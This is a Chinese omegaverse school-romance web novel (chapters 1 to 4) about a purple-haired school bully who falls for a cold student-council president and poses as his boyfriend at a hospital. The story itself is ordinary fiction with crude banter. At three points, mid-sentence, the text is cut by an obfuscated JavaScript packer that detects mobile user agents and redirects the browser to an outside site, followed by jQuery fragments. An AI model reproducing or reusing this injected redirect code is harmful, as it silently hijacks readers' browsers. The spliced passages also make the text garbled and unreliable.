《你之玉鉴》 1. 意外的相见 九月一日,是假期的结束,学习的开始…… 在此刻的年级走廊上,一位女同学扒着栏杆,脸上满是兴奋的红晕,压低声音跟边上的另外几个同学说道:“你们听说了吗?高2A班有一个大帅哥,学习也超好,每次都名列前茅,好像还是咱们学生会的会长!” “靠,这么牛逼!”最边上的一位男同学听见后立马瞪大了眼睛,手里的刚拿到的练习册都差点掉在了地上,“又帅又学霸还当会长,这是什么神仙配置!!我也要!!” 另一位女生突然拍了拍刚刚引出话题的那个女同学的肩膀,随后指尖向前方扬了扬,语气带着几分不确定:“你们说的是他吗?” 三人包括又凑过来的几个同学,顺着她指着的方向看过去,只见楼梯口处,秦玉正手扶着栏杆,一步一步慢慢走上楼来。 他的身形修长清瘦,像一柄敛了锋芒的未出鞘长剑,蓝白相间的短袖校服穿在他身上,衬得冷白的皮肤愈发透着疏离感…… 他额前的乌黑碎发垂落,好似有点微乱,而下面的那双眼睛,更让人看不懂情绪…… 再仔细看,他鼻梁高挺,轮廓分明,薄唇也是习惯性地抿着,像是极少向人显露真实情绪。 不知道为什么,但就是感觉……好帅…… “对对对,就是他!”那位女同学激动的赶紧点头,她也察觉到自己声音有点大了,怕引起秦玉的注意,也将声音都放柔了些,眼神里带着痴迷,“不愧是男神,长的也太帅了吧!听说他还是顶级Omega,不知道信息素是什么味道……” “顶级Omega兼学霸会长,这配置绝了,谁能扛得住啊!有机会赶紧去表个白!” 同学们你一句我一句的聊,但他们议论声还没落下,一阵打闹声从楼梯的上方传来。 染着张扬紫发的沈月落从楼梯上飞速地跑下,他冲着后面追着他的那两人挑衅的笑笑,还伸了一个国际文明手势:“来呀!欺负女生算什么本事,有本事追上我再说!”他脚步轻快,带着些许少年人特有的肆意…… 后面两人明显气急,脚步又加快了几分。 可跑着跑着,突然,他脚下一空,一声短促的“啊!”后,整个人不受控制地向楼下倒去——是正对着秦玉的方向。 秦玉抬眼,估计也是出于本能的反应,手眼同步,稳稳搂住了他的腰。 沈月落扑进他怀里,由于身高比秦玉高出十多厘米,下巴恰好抵在秦玉的脖颈处,鼻尖轻轻的蹭到了对方的腺体。 是一股清冽而又纯粹的玫瑰香,钻入他的鼻尖,不浓不烈的,但却好像带着致命的吸引力…… 沈月落的脑子瞬间宕机,但内心却在疯狂刷屏:他就是学生会主席?信息素是玫瑰味,好甜……我跟他不熟啊,只在开学典礼上见过他代表学生会发言……可这味道怎么这么熟悉?好像在哪里闻过…… 秦玉被他撞得身形微微一晃,幸亏他反应的快,手指猛地抓紧了栏杆,才堪堪稳住重心。 追上来的两人似乎还是不服气,想追过来,找沈月落好好对峙一下。 秦玉微微抬眼,温热的口腔中吐出了几个冷冰的字:“想被扣分,还是直接去校长办公室?” 那二人认识秦玉,他们也惹不起,只好忍了这口气,转身离开。 等沈月落会过神儿,挠了挠头,脸上露出几分不好意思的笑,语气带着歉意:“对不起啊同学,撞到你了,给你添麻烦了。” 秦玉面无表情,声音清冷得像山间的泉水:“没事,下次小心。”带着不易察觉到的关心,问道:“那两个人怎么回事?” 他微怔,随后答道:“他们欺负女生,我就看不了他们这种欺负人的样子……” “哦……”他也没说什么,在兜里掏了掏,拿出一个创口贴,撕开,轻轻的贴在他脸颊……那个小伤口上。 “你做的挺好的……去学生会,可以加分。” 说完,他绕过沈月落,径直走上楼梯,只留下一个清瘦挺拔的背影。 沈月落望着那背影,脑海里反复回放着刚才对视时那双清澈却冷淡的眸子,心头莫名涌起一股强烈的熟悉感。 可他搜遍记忆,从未见过这样冷淡的人,也没听过这样清冷的声音,他感觉真的好奇怪…… 旁边吃瓜的同学越来越多,而看到秦玉搂住沈月落那一刻,他们就已经炸开了锅:“诶,你们看见了吗?咱们高冷又禁欲的会长大人,竟然抱住了校霸!还对话了!!” “不是说沈月落脾气超不好,打架超狠吗?怎么在他面前这么温顺?” “校霸这是撞大运了吧,直接扑进大帅哥怀里,这便宜占大了!” 但就在这时,上课铃不合时宜地响了起来,它真的像是故意的,现在听起来这铃声,就像有着几分戏谑的意味。 众人只好不情不愿地散开,各自朝着班级跑去,心里却还惦记着刚才那一幕。 在高2A班的教室里,风扇嗡嗡地转着,空调也开着制冷,吹散了些许燥热。 老师推开门,缓步走上讲台,清了清嗓子:“同学们好,今天是开学第一天,我是你们的新班主任江涛。今天,我们的大家庭要迎来一位新同学。” 门被再次推开,沈月落单肩背着黑色书包走了进来,另一只手插在裤兜里,走到讲台前时,还不经意地拨弄了一下额前的紫色碎发。 九月份的河南,正好到了“秋老虎”,也不知道他脑子究竟抽了什么风儿,他竟然还在短袖的外面加了件秋季的长袖校服外套,袖子撸到胳膊肘处,露出白皙的小臂,能看见上面微凸的青筋,握着书包背带的手也是骨节分明——也许,这就是他抽风的原因…… “大家好,我是高2H班转来的沈月落,以后就加入2A班这个大家庭了,请多多关照。”他的声音带着少年人的爽朗,目光却不自觉地向后扫去。 教室里瞬间响起细碎的议论声:“这不是校霸沈月落吗?他怎么转到我们班了?”“2H班可是出了名的乱班,他怎么能进咱们A班?” 沈月落没在意这些窃窃私语,视线很快锁定了班级最后一排。 秦玉独自坐着,手撑着下巴,眼睛看向窗外,仿佛对教室里的一切都漠不关心。 窗外的阳光透过玻璃,将他半边身子镀上一层淡金色,却依然驱不散那股冷感…… 江老师扫视了一圈教室,也就只有秦玉旁边的座位是空着的,便指了指那个位置:“沈同学,你先坐在最后一排那位同学旁边吧。” 沈月落看向秦玉,嘴角勾起一抹笑:“好的,谢谢老师。”他走到座位旁放下书包坐下,侧过头对秦玉说:“你好啊,我新同桌……” 秦玉抬起头,清冷的面容上难得闪过一丝惊讶,但声音依旧平静无波:“原来是你。” “没错,是我。”沈月落笑得更灿烂了。 “刚刚的事……真不好意思。” 秦玉摇了摇头:“没事,你帮助那个女生的行为……很不错的……” 沈月落被他夸的微微有些不好意思,他随后赶快调整好自己的情绪,郑重地伸出手,眼底带着真诚:“那以后就多多关照啦!我叫沈月落!” 秦玉犹豫了一下,指尖轻轻握住了他的手,手心温暖,但指尖却出奇的冰凉:“嗯,多多关照……秦玉。” 同学们瞬间惊呆了,他们的注意力已经完全不在课堂上了,教室里满满的都是窃窃私语的声音:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163941|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们秦大学霸不是很高冷吗?今天怎么这么好说话?” “他不是最讨厌和别人有肢体接触吗?竟然和校霸握手了!” “这是什么莫名其妙的缘分?但是感觉还有些好磕!” 秦玉似乎没听到这些议论,收回手后便重新看向黑板,认真听老师讲课,笔尖在笔记本上飞快滑动。 沈月落看着他专注的侧脸,嘴角在他自己都不知道的情况下微微上扬,沈月落轻轻拍了拍他的肩膀:“放学……一起走?” 秦玉没有抬头,声音平静地问:“为什么?” “就当成为同桌,互相了解一下嘛。”沈月落说得理所当然。 沉默了几秒,秦玉的声音轻轻落下:“……嗯。” 教室墙上的时钟滴滴答答地走着,老师开了空调,吹散所有人心中的燥热。整个班里的人都在用心地学着,显得时间过得极快。 终于,下课铃响,沈月落立刻收拾好自己的物品,转头看向秦玉:“我收拾好了,你需要帮忙吗?” 秦玉拉上书包拉链,摇了摇头:“不了……我好了。” 沈月落却不由分说地拿过他的书包,肩上一挎:“我来帮你拿。” 秦玉下意识想抢回来,但对上沈月落真诚的眼神时,动作顿了顿,终究还是把手缩了回去,低声道:“……嗯。” 两人肩并肩走出教室,学生都从各自的班里出来,熙熙攘攘,他们基本上都是三三两两的成群,而且走不少人都偷偷打量着他们这对奇特的组合。 毕竟一个大学霸兼学生会会长,跟一个成绩是跟垃圾般的校霸,在他们眼里就是一对奇葩的组合…… 走到楼梯口时,秦玉的脚步突然一顿,眉头微蹙,像是在思索什么。 短暂的几秒后,他转过头对沈月落说:“我今天还要去医院看外公……不能跟你一起走了。” 沈月落脸上的笑容淡了些,伸手轻轻拍了拍他的肩,语气温和:“没事,我跟你一起去看外公不就行啦~” 秦玉微微侧身,有意的躲开了他的触碰,低头沉默了片刻,才缓缓说道:“嗯,那……一起走。” 两人走出校门,随意拦了一辆出租车,朝着市第一人民医院的方向驶去。出租车里很安静,也就只有空调的送风声。 沈月落犹豫了一下,还是忍不住问道:“你外公……怎么了?” 秦玉闻言微微一愣,原本就沉静的眸子暗了暗,细微的光亮又少了几分,他没有说话…… 沈月落见他情绪低落,便不再追问,只是伸出手,轻轻拍了拍他的肩膀以示安慰。 这次,秦玉也不知道为什么没有躲开,但是那温热的触感却透过衣料传来,驱散了些许心底的凉意…… “以后,我经常来陪你看看外公,怎么样?”沈月落的声音带着少年人的笃定。 秦玉抬起头,与他四目相对,眼底带着一丝疑惑:“……为什么?” “就当朋友之间的互相关心啦!”沈月落笑得坦荡,拍了拍自己的胸脯,“而且以后我罩着你!谁要是敢动你,就得先过我这关!” 秦玉看着他诚的样子,清冷的眼底泛起一丝不易察觉的暖意,轻声说道:“嗯……谢谢你。” 出租车稳稳地行驶在马路上,窗外的风景也飞速倒退…… 沈月落鼻尖似乎还萦绕着淡淡的玫瑰香,那熟悉的感觉再次涌上心头,而秦玉正坐着,但余光定在身边这个热情似火的紫发少年身上…… 真的好奇怪…… 他指尖无意识的微微蜷缩,内心也有些“不对劲”? 但这些不重要。 重要的是——高二下学期它不一样,它是真正美好的开始…… 2. 见“家长” 出租车在市第一人民医院门口缓缓停下,司机师傅转头对后座的两人说道:“小伙子们,人民医院到了,车费15。" 沈月落熟练地从兜里掏手机扫码付款。付了钱,两人便下了车,他们并肩走进医院的大门。 此刻大约七点半,人们也基本上都下了班,过来医院照顾家里的病人,所以现在的医院大厅里人来人往,而消毒水又带着中药味,弥漫在空气中。 两人来到电梯口,等了片刻,电梯门缓缓打开。伴随着其他人,他们也走进去,秦玉先按下了“7"的按键。电梯缓缓上升,一层、二层、三层……数字不断跳动,狭小的空间里只有电梯运行的声响。 “叮咚——七层到了。"带着机械的提示音,电梯的门也开了。 两人一前一后地走到302病房的门口。秦玉站在门前,深吸一口气,才慢慢推开病房门:“外公,我来看你了。" 这是一间独立病房,白色的墙壁干净整洁,有几扇落地窗。而病床上躺着一位大约60多岁的男子,虽然因为生病和岁月而显得憔悴,但依然能看出年轻时从底子里就能看出来的俊朗。 他是陆梓枫,秦玉的外公,一位温和的Omega。 他半靠在床头,身后垫着厚厚的被子。看到推门进来的秦玉,他疲惫的脸上立刻绽开笑容:“小玉儿,你来了。" 秦玉的眼中全是对外公的心疼,但他却不会回应,只是淡淡的说了一句:“今天刚开学,不忙……就来看看。” 沈月落也跟在秦玉身后走进来,他有些不知所措,站在门边,拘谨地看着病床上的老人。 陆梓枫先是愣了一下,目光在两个少年之间来回移动,随后露出了然的笑容,语气里带着几分打趣:“真不错,还把男朋友带过来了。" 秦玉的脸颊上闪过一丝慌乱,刚想开口解释:“外公,他不是……" 沈月落突然轻轻握住了秦玉的手,手心的温度再次传来。 他抢先开口,大方的答到:“嗯!外公好,我是秦玉的男朋友,我叫沈月落,今年18岁,现在跟秦玉一个班,也是他的同桌。" 说完,他偷偷给秦玉眨了眨眼。秦玉看着他真诚的眼神,此刻的他还不明白沈月落的用意,但是身子已经诚实的做出反应……手没抽回……是紧握。 都做到这个份上了,他也顺着沈月落的话说了:“嗯,外公,他……他是我的男朋友。" 陆梓枫的笑容更加灿烂了,他向沈月落招手:“嗯……你好,我是秦玉的外公,我叫陆梓枫。" 随后他转头看向秦玉,眼中满是欣慰,“小玉儿,人家可比你小,你要好好对人家。在有生之年能看见你找到属于自己的Alpha,我也死而无憾了……" “外公!"秦玉握住陆梓枫的手,声音里带着慌乱与急切:“您别这么说,主治医生说了,先进行保守治疗,等过一段时间做个手术,您就能康复出院了。" 陆梓枫看着自己外孙认真的样子,眼中心疼更多…… 他又看了一眼旁边的沈月落,随后对秦玉说:“小玉儿,外公现在有点饿了,你要不然先去买点吃的吧。" 秦玉也知道自己外公是想和沈月落单独聊聊罢了,他点点头,拿起手机准备出去。 走前,他看了沈月落一眼,眼中带着一丝歉意和不安。 等秦玉离开后,病房里只剩下陆梓枫和沈月落两个人。 陆梓枫指了指床边的板凳:“孩子,你先坐吧。" 沈月落乖巧地坐下,双手放在膝盖上,认真地看着面前的这位老人。 陆梓枫沉默了一会儿,才缓缓开口:“孩子,我们家穷……秦玉的父母在他很小的时候就因为一场意外去世了……我们家好不容易留下的家底,也被他二叔抢走了。我身子也不好,需要经常看病,但退休工资也不多。那时候实在攒不出钱供他上学,所以他晚上了两年学,今年也20了……" 沈月落静静地听着,心里同情,也很是酸涩。 “但他因为小时候的事,也受到了很大的打击……" 陆梓枫的声音似乎哽咽,他强忍着,继续说下去:“他被别人嘲笑,在他小时候,他也不是这个样子的……那时候他爱笑,爱闹,是个正常的孩子,我们家的开心果……” “可如今……他有什么事也不跟我说,怕我担心,所以他就把那些事都默默的藏在心里。" 他抬起手,轻轻拍了拍沈月落的手:“这些我也是知道的……我也希望你能好好对他,温暖他。我不会反对他这么早恋爱……只要看见他能找到自己喜欢的人,有人陪着他,我也能安心了。" 沈月落握住陆梓枫的手,虽然身份是假的,但他却十分认真地说:“外公,您放心,我一定会好好对他的。" 没过一会儿,门"吱呀"一声被推开,秦玉手里提着几个餐盒回来了。 他把饭放在床头柜上,小心地解开塑料袋:“外公,我买了你爱吃的红烧肉,还有清炒时蔬,您快尝尝合不合胃口。" 陆梓枫接过外孙递来的饭,一边吃一边嘱咐道:“小玉儿,以后你们要好好相处……" 秦玉收拾好东西,看了看时间,小声叫沈月落:“沈同学……麻烦你跟我出来一下……" 两人来到走廊尽头一个偏僻的角落。 这里很安静,基本上没有其他人经过。 秦玉背靠着墙壁,抬头看向靠在对面那堵墙的沈月落…… “你刚才……为什么要说是我男朋友……"他的声音很轻,带着许多的不解。 沈月落靠在对面的墙上,目光温柔,但好像是只对他的:“秦同学,你没有察觉到你外公的眼神吗?" 秦玉微微一愣:“我……没注意……" 他用力回忆,但怎么也想不起来。自己好像真的没太注意过外公这么细微的表情…… “他很担心你。"沈月落向前走了一步,“我进来的时候他明显带着喜悦,他没有对早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163942|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋的反对……更是希望有别人陪你。" 秦玉轻吸一口气,垂下眼眸:“好的,我知道了……谢谢你沈同学。” “刚才……”似乎是有些难以启齿。 但他还是鼓足了勇气,问了出来:“我走以后,我外公又跟你说什么了吗?"秦玉抬起头,眼中带着一丝好奇。 沈月落笑了笑,没有说出实情:"也没有什么太大的事,外公就说让我保护好你,做好你的男朋友。" 秦玉沉默了一会儿,才缓缓开口:“谢谢……我们才刚认识,就麻烦了你这么多。" 沈月落故作帅气地撩了撩头发:"这有啥的,谁叫我是你新同桌呢!"说完,还对秦玉露出一个灿烂的笑容。 秦玉看着他那有点自恋,却又格外真诚的笑容,心中流过一丝暖流。 这是除了外公以外,他在别人身上从未感受到过的温暖、 跟那一次不一样——这次……是真心的。 这个看似玩世不恭的大少爷,是他真正地将一束微光,洒在了秦玉黑暗的世界里。 就在秦玉发呆的时候,沈月落走到他旁边,微微偏头看向他:“我刚刚听你外公说……你今年20?" 秦玉回过神来,转头看向沈月落,轻轻点了点头:"嗯,20。" 他不想多说原因,只是简单地回答。 “那你的生日是?"沈月落追问。 “7月23日……" 沈月落突然靠近了一些,微微弯腰凑到秦玉耳边,声音里带着调皮:“那我是不是还要叫你一声……哥哥~" 温热的气息拂过耳畔,秦玉的身子瞬间僵硬。 秦玉的神色里没有害羞,反倒是很慌乱,他赶紧把沈月落推开:“别叫那么亲密,我们才刚认识一天。" 他转移话题,往边上又移了几步,随后……似乎发抖般的,从兜里掏出一个两年前的老款手机,看了看时间:“时间不早了,你快回家吧,别让你家人担心……” 沈月落退后一步,脸上依然挂着笑容:“好嘞!那秦同学,明天见!” 秦玉略微僵硬地挥了挥手:“嗯,明天见……" 他看着沈月落离去的背影,疲惫不堪的他靠在墙上……又慢慢滑坐下来。 他闭上眼睛,脑海里不断回放着今天发生的一切——那个热情的紫发少年,虽然被同学说成是校霸,但那双真诚的眼睛是永远不会错的。还有刚刚,沈月落那句带着调皮、撩拨的“哥哥"…… 他的心跳是有些快,但却不是因为害羞,而是因为一种陌生、与之前十分不同的感觉…… 在秦玉的回想中,他的手机却突然震动,是医院的缴费提醒。 秦玉睁开眼,看着那串对于自己家来说,已经算是天文的数字,眼中的还没刚升起的光……又黯淡了下去。 他慢慢站起身,走向医院的缴费中心。 明天……他又要想办法筹钱了……或许是不要脸的去借,或者…… 3. 喜欢 沈月落跟秦玉告别后,转身走向电梯。 现在是电梯下行,而电梯里只有他一忍,金属门缓缓合上,隔绝了病房走廊的吵闹…… 他的脑子里还回放着自己刚才在走廊里叫的那声带着戏谑的“哥哥”,还有秦玉那瞬间僵硬的模样,让他嘴角忍不住勾起一抹不易察觉到的笑意…… 电梯“叮咚”一声到达一楼,沈月落走出电梯,穿过医院的服务大厅,推开大门…… 九月份,连风带着夏末特有的湿润气息与温热感觉。抬头望去,夕阳早已沉入地平线,深蓝色的天幕渐渐笼罩整个城市,远处的路灯次第亮起……时一片片晕来的暖黄的光。 “嘟嘟嘟——”口袋里的手机突然震动起来。沈月落从裤兜里掏出手机,屏幕上跳动着“二狗子”三个字,是自己小弟王起的来电。 他按下接听键,语气带着他身为校霸惯有的张扬:“喂,二狗子,找你大哥我干嘛?” 电话那头传来王起贱兮兮的声音,隔着听筒都能想象到他那副嬉皮笑脸的模样:“老大,你暑假两个月都没来找兄弟们了!本来今天想去班里跟你好好叙叙旧,没想到你竟然转班了!兄弟们都挺想你的,要不然咱们几个去学校旁边的安乐烧烤摊聚聚呗?” “嗯,行。”沈月落一口答应,心里也泛起来了几分想念,“你们在那等我几分钟,我现在就过去。”说完按下挂断键,把手机揣回口袋。 他抬手拦了辆路过的出租车,车门打开的瞬间,一股空调冷气扑面而来。他关好车门,“师傅,麻烦去北华七中旁边的那个烧烤摊。” “好嘞!”司机师傅爽快应下,脚下轻踩油门,车子缓缓汇入车流。 沈月落靠在座椅上,目光看向窗外。街景飞速倒退,路灯、店铺招牌、行色匆匆的路人,好像都模糊了…… 可他的思绪,却不由自主地飘回了今天发生的一切…… 应该是差不多的年龄,而且那一样清冽又带甜的玫瑰信息素……沈月落指尖无意识的轻轻敲击着膝盖,心里反复琢磨:他会是自己找了这么久的那个人吗?当年那个在巷子里捡到自己,并收留自己一个月的小哥哥,会不会就是秦玉? “小伙子,别愣神了,烧烤摊到了!”司机师傅的声音把他从自己的世界拉回了现实。 沈月落回过神,扫码付了钱,推开车门下车。 安乐烧烤摊就在北华七中斜对面,是露天的场地,几十张桌子摆满了街边,烟火气十足,来吃的人很多。 他环顾四周,很快就看到了角落里的三个熟悉身影:王起、柳然、宋辛,三个跟他从小玩到大的铁兄弟,正围坐在一张桌子旁闲聊。沈月落迈开步子,朝着他们的方向走去。 王起最先察觉到有人靠近,抬头一看,立马拍了拍身边两人的肩膀,嗓门洪亮:“诶诶,先别聊了,咱老大来了!” 柳然和宋辛闻言转头,看到沈月落的瞬间,脸上立刻绽开笑容,纷纷起身迎了上去。“老大,你可算来了!”宋辛一把揽过沈月落的脖子,语气激动,“暑假两个月没见,兄弟们都快想死你了!” 四个“出生入死”的兄弟久别重逢,自然少不了一个大大的拥抱。互相捶打又拥抱了几下,才热热闹闹地回到座位上。 王起把自己的椅子往沈月落那边拉了拉,笑得一脸谄媚:“老大,你都不知道这两个月我想你想的都快发疯了,恨不得每天24小时给你发信息,就想看看你那帅气的样貌!” 沈月落嫌弃地推开他的脸,嘴角带着的却是笑意:“滚滚滚,少在这恶心人,我一点都不想你。” “哎哟,沈哥!”王起夸张地捂着心口,作出受伤的模样,“兄弟我可是想你想的好苦啊,你怎么能不想我?我这脆弱的小心脏都要碎掉了……” 沈月落白了他一眼,语气故作凶狠:“滚滚滚,有病去治,别在我眼前发癫。” 王起嘿嘿一笑,把椅子拉回原位,转头朝着不远处的老板喊道:“老板!来40串羊肉串、15串面筋、15串烤茄子、20串奶黄包、20串鸡翅、30串骨肉相连,再来4份大份儿的烤鱼,最后来4瓶冰饮料!” “这么多?你能吃完?”沈月落挑眉看他。 “吃不完打包啊!”王起理直气壮,“半夜饿了还能当夜宵,不浪费!” 沈月落翻了个白眼,给他竖了一个大拇指,语气都是无奈:“……你真牛逼……” 老板麻利地应下,没过多久,服务员就端着四瓶冰饮料走了过来。王起拧开瓶盖,猛灌了一大口,舒服地叹了口气:“啊!爽!这天气就该喝冰的!” 另外三人也纷纷打开饮料,喝了几口解腻。冰凉的液体滑过喉咙,驱散了夜晚的闷热,也让气氛更加放松。 王起放下饮料瓶,好奇地看向沈月落:“沈哥,你不是一直在H班待得好好的吗?怎么突然转到A班了?那可是学霸云集的地方,你能适应?” 提到这事,沈月落无奈地摇了摇头:“还不是我家那老头儿。他说我学习成绩太差,H班班风不好,差生太多,让我去A班好好学学,免得下次又考倒一,丢他的脸。” “唉,沈哥,沈叔叔也太狠了!”王起一脸同情,“那你的压力不得大死?A班的人个个都是卷王吧?” 沈月落点了点头,语气里带着几分认命:“可不是嘛。他说这学期期末考试再考不进前200名,就扒了我的皮。” “哈哈哈哈!”王起忍不住哈哈大笑,“沈哥,没想到你也有被制裁的一天!” 沈月落瞪了他一眼,王起立马收住笑,识趣地转移话题:“对了沈哥,我可听说了,你是不是跟咱们学校的学生会会长坐同桌了?” “嗯。”沈月落点头,拿起一串刚上桌的烤面筋,慢慢嚼着。 “我可听说那位会长是学校公认的校草,还是个顶级Omega,冰山大美人那种!”王起用胳膊肘肘了肘他的肩膀,眼神暧昧,“沈哥,你觉得他怎么样?” 沈月落脑海里瞬间浮现出秦玉的模样——每个地方,都是那么好。让他嘴角实在是忍不住地勾起一抹温柔的笑容,连轻声说:“很好。” “那沈哥,你啥时候把这位大美人请出来,让我们也开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163943|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开眼啊?”王起搓了搓手,一脸期待。 沈月落淡淡看了他一眼,语气带着不容置疑的护短:“有时间我问问他愿不愿意来。但丑话说在前头,你们可别打他的主意。” “哎哟~”王起贱兮兮地笑起来,“我可是有男朋友的人!”说着他就揽过一旁的宋辛,“吧唧”的亲了一口。 让沈月落吃了一顿免费的狗粮:“咦……腻腻歪歪的……” 王起骄傲地扬了扬下巴,随后清了清嗓子:“嗯哼……咱们重回主题!” 他又是“嘿嘿”一笑:“沈哥,这才开学第一天呢,你就护上了?” 被说中心思,沈月落也不掖着,干脆抬了抬下巴,坦然承认:“是,我就是喜欢他。” 王起愣了一下,显然没料到他会这么直白,随后立马打趣:“老大,你这是一见钟情啊~”还冲他眨了眨眼。 “那咋了?”沈月落挑眉,丝毫不觉得不好意思。 “老大,你这是……发情了?”王起得寸进尺地凑过来。 “发情你妈!”沈月落抬手对他后脑勺就是一下。 “那你对他……”王起揉着脑袋,一脸好奇…… “就是喜欢……” 沈月落有拿起一串羊肉串,咬了一口,肉质鲜嫩多汁,可心里却在琢磨着秦玉的事。 “那老大你打算怎么追他啊?”宋辛终于忍不住插话,眼里满是八卦。 沈月落动作一顿,皱了皱眉:“……不知道诶,我还没想过这个问题。” “哈哈哈哈!”王起笑得直拍桌子,“老大竟然不知道?难道是小说里的霸道总裁套路?”他说着还模仿起霸道总裁的语气,压低声音:“男人……你成功引起了我的注意,我给你五百万,跟我结婚!” 沈月落:“………………………” “或者是狼狗系?直接把老婆按在床上亲?”王起越演越上头,手舞足蹈。 沈月落“………………………………” “要不然是奶狗系?抱着老婆撒娇要亲亲?” 王起歪着头想了想,又摇了摇头,“不对不对,老大肯定不是这样的……” 沈月落第四次陷入无语,额角青筋跳了跳:“二狗子……你找打?” 王起立马识趣地闭嘴,举起双手作投降状:“我错了老大!咱吃串吃串!” 说话间,老板把烤好的串和烤鱼陆续端了上来。滋滋作响的烤串裹着浓郁的酱汁,香气扑鼻…… 四人不再纠结追人的话题,边吃边聊,从暑假的趣事聊到学校的八卦,笑声不断,丝毫没在意时间的流逝。 夜色渐深,街边的食客渐渐散去,远处的大楼突然敲响了十一点的钟声,浑厚的钟声在夜空中回荡。 “都十一点了?”宋辛看了看手机,“沈哥,我得回家了,不然我妈该念叨了。” 几人纷纷点头,结了账后互相道别。沈月落目送三个兄弟各自坐上出租车,自己也拦了辆车回家。 车子行驶在夜色中,沈月落靠在窗边,晚风从车窗缝隙吹进来,拂动他的紫发…… 4. 他 晚上十一点二十分,沈家别墅的客厅还亮着暖黄的灯光,柔和的洒在木制的地板上。 而沈华山搂着白兰靠在沙发里,电视上正播放着温情的家庭剧,可他的心思显然不在剧情上,时不时抬头瞟向墙上的挂钟。 “靠!都十一点多了!”,沈华山就猛地坐直身子,语气里满是火气,“那臭小子死哪去了!天天不着家!” 白兰温顺地靠在他怀里,轻轻拍了拍他的胸口,释放出一点淡淡的安抚信息素,语气柔和:“好了,别生气了。毕竟小孩子嘛~贪玩儿是很正常的,月落都这么大了,有分寸的。” 沈华山的情绪稍稍平复,把下巴抵在白兰的头顶,轻轻蹭了蹭,语气里带着担忧:“那臭小子毕竟是你生的,性子野,晚上外面不安全,万一出事了怎么办?” “放心啦。”白兰温柔地捏了捏他的脸颊,眼底满是笑意,“咱家的臭小子,肯定又跟那几个好兄弟去疯玩了,估计马上就回来了。” 话音刚落,别墅门口就传来“滴——”的一声轻响,指纹锁应声而开。沈月落吊儿郎当地走进来,单手拎着书包:“老头儿,你儿子我回来了!” 沈华山看到他那一脸欠揍的模样,刚压下去的怒火瞬间又窜了上来,忍不住愤怒地咆哮道:“臭小子!你不看看现在几点了!天天就知道跟你那几个成绩不好的兄弟鬼混,什么时候能把心思放在学习上!” 白兰见他情绪激动,连忙伸手搂住他的胳膊安抚:“好了好了,别生气,对身体不好。”说着,在他的脸颊上轻轻印下一个吻。 沈华山立刻软了下来,把白兰紧紧搂进怀里,蹭了蹭他的颈窝,语气黏腻:“嗯~还是老婆好~不像某些人,只会气我。” 沈月落站在门口,嫌弃地撇了撇嘴,小声嘟囔:“没听说过吗?秀恩爱,死得快……” “你说什么?!”沈华山耳尖得很,一下子就听清了,瞬间又炸了毛,指着他开始口吐芬芳,“我艹你*!你个混球!敢这么说你俩爹!是不是想死啊!” 白兰赶紧捂住他的嘴,把两人拉开,无奈地说:“好了好了,别吵了,孩子刚回来,都少说两句。” 随后他转头看向沈月落,语气温柔,却带着几分严肃:“月落,以后不能这么说话,不礼貌,知道了吗?” “知道了……我亲爱的爹地~”沈月落拖长了语调,虽然不服气,但还是乖乖应下。 沈华山亲了亲白兰的额头,得意地挑了挑眉,看向沈月落:“看我老婆多好~你个单身狗,没人爱怎么办呀?哎,真是可怜呢~” 沈月落也不甘示弱,抬了抬下巴,脸上带着几分炫耀:“你还别说,老头儿,你这次给我换班,还真换对了!你儿子我啊,碰到爱情了!” “就你?”沈华山斜了他一眼,满脸不屑,“还遇到爱情?谁TM能看上你啊?” “那咋了!”沈月落梗着脖子反驳。 “你给人家表白了?”沈华山追问道。 “没……”沈月落的声音弱了点,明显的是底气不足。 “他有喜欢你的表现?” “没……”声音更低了。 “那人家长什么样?”沈华山的语气缓和了些,带着好奇。 “是个又香又欲的Omega。”沈月落想起秦玉身上的玫瑰香,嘴角忍不住上扬…… “学习怎么样?”这才是沈华山最关心的问题。 “大学霸!还是学生会会长呢!”沈月落语气骄傲,仿佛在说自己。 “那不就得了!”沈华山嗤笑一声,“你看看人家多优秀,再看看你!成绩差得一塌糊涂,还染个紫毛,像什么样子!人家能看上你?” “不是,老头儿,你TM非得跟我对着干是吧!”沈月落也来了火气。 “我就跟你对着干,咋了!”沈华山一拍沙发,“腾”的一下站起来了,“九月底学校又要月考了,你TM的还心思不正!那紫毛赶紧给我染回去,看着就恶心人!” “凭啥呀!”沈月落护住自己的头发,“这紫毛多好看,多时尚!臭老头儿,你这叫不懂审美!” “染回去!”沈华山态度强硬。 “我就不!”沈月落寸步不让。 “艹你M的!……”沈华山气得又要开始口吐芬芳,幸亏白兰及时捂住了他的嘴,把他往卧室方向推:“好了,你先去睡,我来跟月落说。” 